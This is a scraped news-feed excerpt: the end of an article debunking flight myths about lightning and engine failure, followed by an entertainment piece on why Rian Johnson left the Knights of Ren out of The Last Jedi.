The worst crash in aviation history, the Tenerife Airport Disaster, cost upward of $ 110 million.

Myth 5: Lightning can bring down a plane

Whilst terrifying being in a plane if it gets hit by lightning, it actually doesn’t pose a risk to the aircrafts which are made to cope.

Mr Jones stated: “No modern plane has been brought down by lightning and modern planes are designed to withstand a lightning strike.”

Myth 6: If an engine fails the plane will fall from the sky

An engine failure can be a huge worry for any fliers, and the thought of it causing the plane to plummet. In actual fact, a plane can still manage to land without one.

Mr Jones revealed: “A plane is simply a big glider and planes can be flown and landed without an engine. And your pilot will have gone through rigorous training to land this big glider.”

Previous famous examples include the Miracle on the Hudson, which captain Sully glided onto the Hudson River, and the British Airways flight which had all four engines fail, only for it to glide in the air until they restarted again. 

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]]> https://briefnews.eu/flight-myths-debunked-expert-reveals-why-this-common-fear-is-completely-untrue/feed/ 0 Star Wars 8: Huge Knights of Ren theory DEBUNKED as director explains WHY they were cut https://briefnews.eu/star-wars-8-huge-knights-of-ren-theory-debunked-as-director-explains-why-they-were-cut/ https://briefnews.eu/star-wars-8-huge-knights-of-ren-theory-debunked-as-director-explains-why-they-were-cut/#respond Thu, 18 Jan 2018 18:57:49 +0000 http://briefnews.eu/star-wars-8-huge-knights-of-ren-theory-debunked-as-director-explains-why-they-were-cut/

They were a tantalising vision in The Force Awakens.

Rey’s rainy encounter with Kylo and his Knights of Ren sent shivers up fans’ spines and hinted at a major moment in The Last Jedi.

It didn’t happen. 

The flashbacks shown of Luke and Kylo Ren’s tragic past showed the destruction of the Jedi school but no sign of the Knights of Ren.

Where were they? Rian Johnson has just explained.

After seeing the forceback vision, most assumed that the Knights of Ren were Kylo’s former fellow students who he had turned to the Dark Side during his rebellion against Luke.

Expanding this was the prevailing theory that Snoke took them in when he raised Kylo Ren as his apprentice and made them his Praetorian Guard.

Johnson just revealed why he didn’t include the Knights in Episode 8 and this totally debunked a huge part of that theory. It also still leaves hope for their inclusion in Episode 9.

Johnson told the Empire Film podcast: “You can see we have a very full movie already. There literally was just not room for another element at them.

“I guess I could’ve used them in place of the Praetorian guards, but then it would feel like wasting them because I knew all those guards had to die pretty quickly. And if Kylo had some kind of connection to them, it would’ve added a complication that wouldn’t have helped the scene. So the truth is I just didn’t see a place for them in the movie.”

This immediately proves that the Knights did not become the Praetorians.

Fans immediately expressed their unhappiness with this latest revealtion and bluntly suggested other sections that could have been cut to make room. 

LISTEN TO THE FULL EMPIRE FILM PODCAST HERE

Yet again, the majority of fan comments singled out the lengthy excursion to Canto Bight as a waste of time with yet more criticisms of Johnson’s plot decisions in general.

Whether they are correct or not, it is probably timeto look forward.

JJ Abrams was the director who introduced The Knights of Ren and will resume control at the helm for the final movie. If they weren’t involved during the destruction of the Jedi temple and school, perhaps there is hope that the forceback vision showed someting that is still yet to come?

Which leaves us with two years of speculating before we find out if we will ever see Kylo’s gang again…

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